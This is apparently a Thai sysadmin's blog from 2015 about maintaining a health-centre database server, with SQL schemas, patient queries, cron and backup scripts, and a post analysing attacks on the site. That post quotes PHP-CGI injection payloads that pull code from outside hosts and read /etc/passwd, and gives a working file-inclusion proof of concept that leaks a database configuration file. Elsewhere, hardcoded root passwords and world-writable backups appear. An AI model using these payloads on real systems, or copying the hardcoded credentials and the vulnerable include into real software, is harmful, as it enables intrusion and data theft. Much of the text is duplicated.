`Update Date antidrug` date default NULL,
`passpotnumber` varchar(37) default NULL,
`workpermitnumber` varchar(37) default NULL,
`hidmoi11` char(11) default NULL,
`housetype` char(1) default NULL,
`roomno` varchar(10) default NULL,
`condo` varchar(75) default NULL,
`soisub` varchar(255) default NULL,
`soimain` varchar(255) default NULL,
`dateupdateaddressout` datetime default NULL,
`candobedhomesocial` char(1) default NULL,
`beastprojectout` char(1) default NULL,
PRIMARY KEY (`pcucodeperson`,`pid`),
UNIQUE KEY `id_Card` (`pcucodeperson`,`idcard`),
UNIQUE KEY `RN` (`pcucodeperson`,`rightno`),
KEY `house_pers` (`pcucodeperson`,`hcode`),
KEY `per_educate` (`educate`),
KEY `per_nation` (`nation`),
KEY `per_race` (`origin`),
KEY `per_occupa` (`occupa`),
KEY `per_relig` (`religion`),
KEY `per_right` (`rightcode`),
KEY `per_status` (`marystatus`),
KEY `per_hosmain` (`hosmain`),
KEY `chos_pshs1` (`hossub`),
CONSTRAINT `person_ibfk_1` FOREIGN KEY (`hossub`) REFERENCES `chospital` (`hoscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_10` FOREIGN KEY (`occupa`) REFERENCES `coccupa` (`occupacode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_2` FOREIGN KEY (`origin`) REFERENCES `cnation` (`nationcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_3` FOREIGN KEY (`religion`) REFERENCES `creligion` (`religioncode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_4` FOREIGN KEY (`rightcode`) REFERENCES `cright` (`rightcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_5` FOREIGN KEY (`marystatus`) REFERENCES `cstatus` (`statuscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_6` FOREIGN KEY (`pcucodeperson`, `hcode`) REFERENCES `house` (`pcucode`, `hcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_7` FOREIGN KEY (`educate`) REFERENCES `ceducation` (`educationcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_8` FOREIGN KEY (`hosmain`) REFERENCES `chospital` (`hoscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_9` FOREIGN KEY (`nation`) REFERENCES `cnation` (`nationcode`) ON UPDATE CASCADE
)
ENGINE=FEDERATED
DEFAULT CHARSET=utf8
CONNECTION='mysql://root:123456@127.0.0.1:3333/jhcisdb/person';
ดูผู้ป่วย DM
'ต้องมี view ชื่อ cid จากข้อที่แล้ว
SELECT
substr(house.villcode,7,2) as moo,
house.hno,
person.pid,
person.idcard,
ctitle.titlename,
person.fname,
person.lname,
cid.`อายุ`
FROM
person
LEFT JOIN cid ON person.idcard = cid.cid2
INNER JOIN house ON person.pcucodeperson = house.pcucode AND person.hcode = house.hcode
LEFT JOIN ctitle ON ctitle.titlecode = person.prename
WHERE
cid.cid2 IS NOT NULL AND
LENGTH(cid.cid2) = 13 AND
cid.`ตำบล` = 'หนองหัวช้าง' AND
cid.`หมู่` IN ('1','2','5','8','9','12')
ORDER BY
house.villcode ASC
SELECT
substr(house.villcode,7,2) as moo,
house.hno,
person.pid,
person.idcard,
ctitle.titlename,
person.fname,
person.lname,
cid.`อายุ`
FROM
person
LEFT JOIN cid ON person.idcard = cid.cid2
INNER JOIN house ON person.pcucodeperson = house.pcucode AND person.hcode = house.hcode
LEFT JOIN ctitle ON ctitle.titlecode = person.prename
WHERE
cid.cid2 IS NOT NULL AND
LENGTH(cid.cid2) = 13 AND
cid.`ตำบล` = 'หนองหัวช้าง' AND
cid.`หมู่` IN ('1','2','5','8','9','12')
ORDER BY
house.villcode ASC
ตัด - ออกจาก cid (view ชื่อ cid)
select `dm_kr`.`CID` AS `CID`,concat(substr(`dm_kr`.`CID`,1,1),substr(`dm_kr`.`CID`,3,4),substr(`dm_kr`.`CID`,8,5),substr(`dm_kr`.`CID`,14,2),substr(`dm_kr`.`CID`,17,1)) AS `cid2`,`dm_kr`.`ลงทะเบียน` AS `ลงทะเบียน`,`dm_kr`.`HN` AS `HN`,`dm_kr`.`clinicno` AS `clinicno`,`dm_kr`.`fullname` AS `fullname`,`dm_kr`.`ptdob` AS `ptdob`,`dm_kr`.`อายุ` AS `อายุ`,`dm_kr`.`oldnew` AS `oldnew`,`dm_kr`.`cliname` AS `cliname`,`dm_kr`.`บ้านเลขที่` AS `บ้านเลขที่`,`dm_kr`.`หมู่` AS `หมู่`,`dm_kr`.`ตำบล` AS `ตำบล`,`dm_kr`.`อำเภอ` AS `อำเภอ`,`dm_kr`.`จังหวัด` AS `จังหวัด`,`dm_kr`.`typearea` AS `typearea`,`dm_kr`.`icd10` AS `icd10`,`dm_kr`.`หมายเหตุ` AS `หมายเหตุ` from `dm_kr`
วันอังคารที่ 10 มีนาคม พ.ศ. 2558
วันศุกร์ที่ 6 มีนาคม พ.ศ. 2558
FEDERATED Table (remote database table connect)
SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS `ncd_person_ncd_screen_b4edit_ncd`;
CREATE TABLE `ncd_person_ncd_screen_b4edit_ncd` (
`pcucode` char(5) NOT NULL DEFAULT '',
`pid` varchar(13) NOT NULL,
`no` int(6) NOT NULL,
`age_year` int(6) NOT NULL,
`screen_date` date NOT NULL,
`height` decimal(6,2) NOT NULL,
`weight` decimal(6,2) NOT NULL,
`waist` int(3) NOT NULL,
`hbp_s1` int(3) NOT NULL,
`hbp_d1` int(3) NOT NULL,
`screen_q1` varchar(1) NOT NULL,
`screen_q2` varchar(1) NOT NULL,
`screen_q3` varchar(1) NOT NULL,
`screen_q4` varchar(1) NOT NULL,
`screen_q5` varchar(1) NOT NULL,
`screen_q6` varchar(1) NOT NULL,
`do_measure` varchar(1) DEFAULT NULL,
`hbp_s2` int(3) DEFAULT NULL,
`hbp_d2` int(3) DEFAULT NULL,
`bsl` decimal(6,2) DEFAULT NULL,
`bmi` double NOT NULL,
`result_new_dm` varchar(1) NOT NULL,
`result_new_hbp` varchar(1) NOT NULL,
`result_new_waist` varchar(1) NOT NULL,
`result_new_obesity` varchar(1) NOT NULL,
`d_update` date NOT NULL,
`user_update` varchar(45) NOT NULL,
`visitno` int(11) DEFAULT NULL,
`smoke` char(1) DEFAULT NULL,
`alcohol` char(1) DEFAULT NULL,
`htfamily` char(1) DEFAULT NULL,
`bstest` char(1) DEFAULT NULL,
`dateupdate` datetime DEFAULT NULL,
`servplace` char(1) DEFAULT NULL,
`flag18fileexpo` char(1) DEFAULT NULL,
`blackarmpit` char(1) DEFAULT NULL,
`flagoffline` char(1) DEFAULT NULL,
PRIMARY KEY (`pcucode`,`pid`,`no`)
) ENGINE=FEDERATED
DEFAULT CHARSET=utf8
CONNECTION='mysql://root:123456@127.0.0.1:3333/jhcisdbb4ncdedit/ncd_person_ncd_screen';
DROP TABLE IF EXISTS `ncd_person_ncd_screen_b4edit_ncd`;
CREATE TABLE `ncd_person_ncd_screen_b4edit_ncd` (
`pcucode` char(5) NOT NULL DEFAULT '',
`pid` varchar(13) NOT NULL,
`no` int(6) NOT NULL,
`age_year` int(6) NOT NULL,
`screen_date` date NOT NULL,
`height` decimal(6,2) NOT NULL,
`weight` decimal(6,2) NOT NULL,
`waist` int(3) NOT NULL,
`hbp_s1` int(3) NOT NULL,
`hbp_d1` int(3) NOT NULL,
`screen_q1` varchar(1) NOT NULL,
`screen_q2` varchar(1) NOT NULL,
`screen_q3` varchar(1) NOT NULL,
`screen_q4` varchar(1) NOT NULL,
`screen_q5` varchar(1) NOT NULL,
`screen_q6` varchar(1) NOT NULL,
`do_measure` varchar(1) DEFAULT NULL,
`hbp_s2` int(3) DEFAULT NULL,
`hbp_d2` int(3) DEFAULT NULL,
`bsl` decimal(6,2) DEFAULT NULL,
`bmi` double NOT NULL,
`result_new_dm` varchar(1) NOT NULL,
`result_new_hbp` varchar(1) NOT NULL,
`result_new_waist` varchar(1) NOT NULL,
`result_new_obesity` varchar(1) NOT NULL,
`d_update` date NOT NULL,
`user_update` varchar(45) NOT NULL,
`visitno` int(11) DEFAULT NULL,
`smoke` char(1) DEFAULT NULL,
`alcohol` char(1) DEFAULT NULL,
`htfamily` char(1) DEFAULT NULL,
`bstest` char(1) DEFAULT NULL,
`dateupdate` datetime DEFAULT NULL,
`servplace` char(1) DEFAULT NULL,
`flag18fileexpo` char(1) DEFAULT NULL,
`blackarmpit` char(1) DEFAULT NULL,
`flagoffline` char(1) DEFAULT NULL,
PRIMARY KEY (`pcucode`,`pid`,`no`)
) ENGINE=FEDERATED
DEFAULT CHARSET=utf8
CONNECTION='mysql://root:123456@127.0.0.1:3333/jhcisdbb4ncdedit/ncd_person_ncd_screen';
วันอังคารที่ 3 มีนาคม พ.ศ. 2558
crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
#mod by polngpole
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
40 17,19,23 * * 0-6 root /var/jhcis/mysql-backup-jhcisdb.sh >/dev/null 2>&1
30 0-23 * * 0-6 root /var/jepidem/runjepidem.sh >/dev/null 2>&1
50 0-23 * * 0-6 root /var/jxp18/runjxp18.sh >/dev/null 2>&1
20 13,16,21,02,06,10 * * 0-6 root /var/jautoup/runjauto.sh >/dev/null 2>&1
*/5 * * * * root /var/apache2/checkapache2.sh >/dev/null 2>&1
sudo /etc/init.d/crond restart
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
#mod by polngpole
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
40 17,19,23 * * 0-6 root /var/jhcis/mysql-backup-jhcisdb.sh >/dev/null 2>&1
30 0-23 * * 0-6 root /var/jepidem/runjepidem.sh >/dev/null 2>&1
50 0-23 * * 0-6 root /var/jxp18/runjxp18.sh >/dev/null 2>&1
20 13,16,21,02,06,10 * * 0-6 root /var/jautoup/runjauto.sh >/dev/null 2>&1
*/5 * * * * root /var/apache2/checkapache2.sh >/dev/null 2>&1
bk
# !/bin/sh
if [ ! -d /home/jhcis/Dropbox/backupjhcis ] ; then
sudo mkdir /home/jhcis/Dropbox/backupjhcis
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
fi
sudo mysqldump --default-character-set=utf8 -u root -p123456 jhcisdb --routines --compatible=no_key_options > /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "+0 day" "+%Y-%m-%d").sql
sudo rm -f /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "-7 day" "+%Y-%m-%d").sql
exit 0
if [ ! -d /home/jhcis/Dropbox/backupjhcis ] ; then
sudo mkdir /home/jhcis/Dropbox/backupjhcis
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
fi
sudo mysqldump --default-character-set=utf8 -u root -p123456 jhcisdb --routines --compatible=no_key_options > /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "+0 day" "+%Y-%m-%d").sql
sudo rm -f /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "-7 day" "+%Y-%m-%d").sql
exit 0
วันศุกร์ที่ 27 กุมภาพันธ์ พ.ศ. 2558
new crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
#mod by polngpole
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
40 17,19,23 * * 0-6 root /var/jhcis/mysql-backup-jhcisdb.sh >/dev/null 2>&1
30 0-23 * * 0-6 root /var/jepidem/runjepidem.sh >/dev/null 2>&1
50 0-23 * * 0-6 root /var/jxp18/runjxp18.sh >/dev/null 2>&1
20 13,16,21,02,06,10 * * 0-6 root /var/jautoup/runjauto.sh >/dev/null 2>&1
*/1 * * * * root /var/apache2/checkapache2.sh >/dev/null 2>&1
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
#mod by polngpole
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
40 17,19,23 * * 0-6 root /var/jhcis/mysql-backup-jhcisdb.sh >/dev/null 2>&1
30 0-23 * * 0-6 root /var/jepidem/runjepidem.sh >/dev/null 2>&1
50 0-23 * * 0-6 root /var/jxp18/runjxp18.sh >/dev/null 2>&1
20 13,16,21,02,06,10 * * 0-6 root /var/jautoup/runjauto.sh >/dev/null 2>&1
*/1 * * * * root /var/apache2/checkapache2.sh >/dev/null 2>&1
วันพุธที่ 25 กุมภาพันธ์ พ.ศ. 2558
ubuntu 14.04 prpblem
How to enable Python?
sudo apt-get install html2text
sudo apt-get install python-html2text
shell script to start apache2 if not running (checkapache2.sh)
#!/bin/bash
if [[ ! "$(service apache2 status)" =~ "apache2 is running" ]]
then service apache2 start
fi
#ok
Backup jhcisdb
# !/bin/sh
if [ ! -d /home/jhcis/Dropbox/backupjhcis ] ; then
sudo mkdir /home/jhcis/Dropbox/backupjhcis
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
fi
sudo mysqldump --default-character-set=utf8 jhcisdb --routines --compatible=no_key_options > /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "+0 day" "+%Y-%m-%d").sql
sudo rm -f /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "-7 day" "+%Y-%m-%d").sql
exit 0
Custom program or Custom cron not work
ส่วนมากเป็นที่ permission แก้โดยใช้ terminal โอเคสุด
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
shell script to start apache2 if not running (checkapache2.sh)
#!/bin/bash
if [[ ! "$(service apache2 status)" =~ "apache2 is running" ]]
then service apache2 start
fi
#ok
Backup jhcisdb
# !/bin/sh
if [ ! -d /home/jhcis/Dropbox/backupjhcis ] ; then
sudo mkdir /home/jhcis/Dropbox/backupjhcis
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
fi
sudo mysqldump --default-character-set=utf8 jhcisdb --routines --compatible=no_key_options > /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "+0 day" "+%Y-%m-%d").sql
sudo rm -f /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "-7 day" "+%Y-%m-%d").sql
exit 0
Custom program or Custom cron not work
ส่วนมากเป็นที่ permission แก้โดยใช้ terminal โอเคสุด
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
function agemonthnutri
BEGIN DECLARE years INT;
DECLARE months INT;
DECLARE days INT;
DECLARE current_year INT;
DECLARE current_month INT;
DECLARE current_day INT;
DECLARE agemonth INT;
DECLARE year_diff INT;
DECLARE month_diff INT;
DECLARE day_diff INT;
DECLARE yearstring CHAR(6);
DECLARE monthstring CHAR(7);
DECLARE daystring CHAR(10);
SELECT YEAR(birth) INTO years;
SELECT MONTH(birth) INTO months;
SELECT DAY(birth) INTO days;
SELECT (YEAR(vdate)-YEAR(birth)) INTO year_diff;
SELECT (
CASE SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m')))
WHEN 0 THEN 0
WHEN -1 THEN DATE_FORMAT(vdate,'%m') +12 - DATE_FORMAT(birth,'%m')
WHEN 1 THEN DATE_FORMAT(vdate,'%m') - DATE_FORMAT(birth,'%m')
END)
INTO month_diff;
if SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m'))) = -1 THEN SET year_diff = year_diff - 1;END IF;
SELECT (
CASE SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
WHEN 0 THEN 0
WHEN -1 THEN (DATE_FORMAT(vdate, '%d') +30 - DATE_FORMAT(birth, '%d'))
WHEN 1 THEN (DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
END)
INTO day_diff;
if SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d')) = -1 THEN SET month_diff = month_diff - 1;END IF;
if (day_diff > 15) THEN SET month_diff = month_diff + 1; END IF;
SET agemonth = (year_diff*12) + month_diff;
RETURN agemonth;
END
DECLARE months INT;
DECLARE days INT;
DECLARE current_year INT;
DECLARE current_month INT;
DECLARE current_day INT;
DECLARE agemonth INT;
DECLARE year_diff INT;
DECLARE month_diff INT;
DECLARE day_diff INT;
DECLARE yearstring CHAR(6);
DECLARE monthstring CHAR(7);
DECLARE daystring CHAR(10);
SELECT YEAR(birth) INTO years;
SELECT MONTH(birth) INTO months;
SELECT DAY(birth) INTO days;
SELECT (YEAR(vdate)-YEAR(birth)) INTO year_diff;
SELECT (
CASE SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m')))
WHEN 0 THEN 0
WHEN -1 THEN DATE_FORMAT(vdate,'%m') +12 - DATE_FORMAT(birth,'%m')
WHEN 1 THEN DATE_FORMAT(vdate,'%m') - DATE_FORMAT(birth,'%m')
END)
INTO month_diff;
if SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m'))) = -1 THEN SET year_diff = year_diff - 1;END IF;
SELECT (
CASE SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
WHEN 0 THEN 0
WHEN -1 THEN (DATE_FORMAT(vdate, '%d') +30 - DATE_FORMAT(birth, '%d'))
WHEN 1 THEN (DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
END)
INTO day_diff;
if SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d')) = -1 THEN SET month_diff = month_diff - 1;END IF;
if (day_diff > 15) THEN SET month_diff = month_diff + 1; END IF;
SET agemonth = (year_diff*12) + month_diff;
RETURN agemonth;
END
วันอาทิตย์ที่ 22 กุมภาพันธ์ พ.ศ. 2558
วันจันทร์ที่ 9 กุมภาพันธ์ พ.ศ. 2558
วันพฤหัสบดีที่ 5 กุมภาพันธ์ พ.ศ. 2558
Last hack
======================================================================
"POST /ascriptname.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1" 200 82 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2"
"POST /downloads/rytwi.php HTTP/1.1" 200 13 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
======================================================================
“POST /index.php/topic/comments/have-you-ever/?-d+allow_url_include=1+-d+auto_prepend_file=php://input HTTP/1.1” 200 115 http://www.domain.com “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)” “-”
“POST /error/lmqtrfy.php HTTP/1.1” 200 25 http://www.domain.com “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1” “-”
======================================================================
/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://chetlemon.com/upload.txt
======================================================================
http://naughtymanila.com/phppath/php?-d+allow_url_include%3d1+-d+safe_mode%3d0+-d+suhosin.simulation%3d1+-d+disable_functions%3d''+-d+open_basedir%3dnone+-d+auto_prepend_file%3dhttp://blackhole.hostenko.com/1.txt+-n
======================================================================
The above URL is decoded as:
http://my_ip/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
?-d allow_url_include=On: he is trying to add an extra parameter in the php-cgi call:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f]
php [args...]
-d foo[=bar] Define INI entry foo with value 'bar'
+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n: then prepend his file as code to execute. Don't know why he uses Path Traversal attack here instead of using his code or php://input.
-n at the end to negate the php.ini:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f]
php [args...]
-n No php.ini file will be used
PS: No need to worry if you aren't running PHP as a CGI script.
========================================================================
hackconndb.php
<?PHP
$url = "http://127.0.0.1:82/4_hackconndb.php?urlConfig=php://filter/convert.base64-encode/resource=conndb.php";
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$contents = curl_exec($ch);
if (curl_errno($ch)) {
echo curl_error($ch);
echo "\n
";
$contents = '';
} else {
curl_close($ch);
}
if (!is_string($contents) || !strlen($contents)) {
echo "Failed to get contents.";
$contents = '';
}
echo "<textarea name='source' rows='25' cols='120'>" . base64_decode($contents) . "</textarea>";
?>
------------------------------------------------------------------------------------------------------------
4_hackconndb.php
<?PHP
include($_REQUEST["urlConfig"]);
?>
========================================================================
"POST /ascriptname.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1" 200 82 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2"
"POST /downloads/rytwi.php HTTP/1.1" 200 13 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
======================================================================
“POST /index.php/topic/comments/have-you-ever/?-d+allow_url_include=1+-d+auto_prepend_file=php://input HTTP/1.1” 200 115 http://www.domain.com “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)” “-”
“POST /error/lmqtrfy.php HTTP/1.1” 200 25 http://www.domain.com “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1” “-”
======================================================================
/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://chetlemon.com/upload.txt
======================================================================
http://naughtymanila.com/phppath/php?-d+allow_url_include%3d1+-d+safe_mode%3d0+-d+suhosin.simulation%3d1+-d+disable_functions%3d''+-d+open_basedir%3dnone+-d+auto_prepend_file%3dhttp://blackhole.hostenko.com/1.txt+-n
======================================================================
The above URL is decoded as:
http://my_ip/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
?-d allow_url_include=On: he is trying to add an extra parameter in the php-cgi call:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f
php
-d foo[=bar] Define INI entry foo with value 'bar'
+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n: then prepend his file as code to execute. Don't know why he uses Path Traversal attack here instead of using his code or php://input.
-n at the end to negate the php.ini:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f
php
-n No php.ini file will be used
PS: No need to worry if you aren't running PHP as a CGI script.
========================================================================
hackconndb.php
<?PHP
$url = "http://127.0.0.1:82/4_hackconndb.php?urlConfig=php://filter/convert.base64-encode/resource=conndb.php";
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$contents = curl_exec($ch);
if (curl_errno($ch)) {
echo curl_error($ch);
echo "\n
";
$contents = '';
} else {
curl_close($ch);
}
if (!is_string($contents) || !strlen($contents)) {
echo "Failed to get contents.";
$contents = '';
}
echo "<textarea name='source' rows='25' cols='120'>" . base64_decode($contents) . "</textarea>";
?>
------------------------------------------------------------------------------------------------------------
4_hackconndb.php
<?PHP
include($_REQUEST["urlConfig"]);
?>
========================================================================
วันอาทิตย์ที่ 1 กุมภาพันธ์ พ.ศ. 2558
For a Desktop setup, Install "gnome-search-tool"
sudo apt-get install gnome-search-tool
แก้ไข mySQL password สำหรับ phpMyadmin
sudo gedit /opt/lampp/phpmyadmin/config.inc.php
แก้ไข mySQL port สำหรับ mySQL
/etc/mysql/my.cnf
แก้ไข mySQL port สำหรับ phpMyadmin
/etc/dbconfig-common/
phpmyadmin.conf มันจะส่งค่าให้
/etc/phpmyadmin/config-db.php
ถ้าไม่ส่งให้ ก็แก้เองดิ
gksudo nautilus ไม่ทำงานsudo apt-get install gksu
ติดตั้ง apache
sudo apt-get install apache2
TightVNC ติดต่อไม่ได้
gsettings set org.gnome.Vino require-encryption false
วันจันทร์ที่ 26 มกราคม พ.ศ. 2558
แจ้งพิกัด
( 15.025603 ,104.252371 ) พิกัดบ้านนายปองพล ธรรมคง
( 15.04146 ,104.63111 ) รพ.สต.หนองหัวช้าง
ฮอนด้า อุบลพันธุ์ทอง สาขาห้วยคุ้ม 15.312062 104.836334
( 15.04146 ,104.63111 ) รพ.สต.หนองหัวช้าง
ฮอนด้า อุบลพันธุ์ทอง สาขาห้วยคุ้ม 15.312062 104.836334
วันอาทิตย์ที่ 25 มกราคม พ.ศ. 2558
วาทะเด็ด จาก วอร์เรน บัฟเฟตต์
วาทะเด็ด จาก วอร์เรน บัฟเฟตต์
ในเรื่องการรายได้: อย่ายึดติดรายได้จากเพียงทางเดียว จงใช้การลงทุนสร้างรายได้อีกทางหนึ่ง
ในเรื่องการใช้จ่าย: ถ้าคุณซื้อสิ่งที่คุณไม่ต้องการในไม่ช้าคุณจะต้องขายในสิ่งที่คุณต้องการ
ในเรื่องการเก็บเงิน: อย่าเก็บเงินเมื่อมันเหลือ จงเก็บเงินก่อนแล้วจึงใช้จ่าย
ในเรื่องความเสี่ยง: อย่าทดสอบความลึกของน้ำด้วยเท้าทั้งสองข้าง
ในเรื่องการลงทุน: อย่าใส่ไข่ทั้งหมดลงในตระกร้าใบเดียว
ในเรื่องความคาดหวัง: ความซื่อสัตย์เป็นของล้ำค่า ดังนั้นอย่าหวังมันจากคนที่ไม่มีคุณค่า
ในเรื่องการรายได้: อย่ายึดติดรายได้จากเพียงทางเดียว จงใช้การลงทุนสร้างรายได้อีกทางหนึ่ง
ในเรื่องการใช้จ่าย: ถ้าคุณซื้อสิ่งที่คุณไม่ต้องการในไม่ช้าคุณจะต้องขายในสิ่งที่คุณต้องการ
ในเรื่องการเก็บเงิน: อย่าเก็บเงินเมื่อมันเหลือ จงเก็บเงินก่อนแล้วจึงใช้จ่าย
ในเรื่องความเสี่ยง: อย่าทดสอบความลึกของน้ำด้วยเท้าทั้งสองข้าง
ในเรื่องการลงทุน: อย่าใส่ไข่ทั้งหมดลงในตระกร้าใบเดียว
ในเรื่องความคาดหวัง: ความซื่อสัตย์เป็นของล้ำค่า ดังนั้นอย่าหวังมันจากคนที่ไม่มีคุณค่า
วันพฤหัสบดีที่ 22 มกราคม พ.ศ. 2558
วันพฤหัสบดีที่ 15 มกราคม พ.ศ. 2558
สมัครสมาชิก:
บทความ (Atom)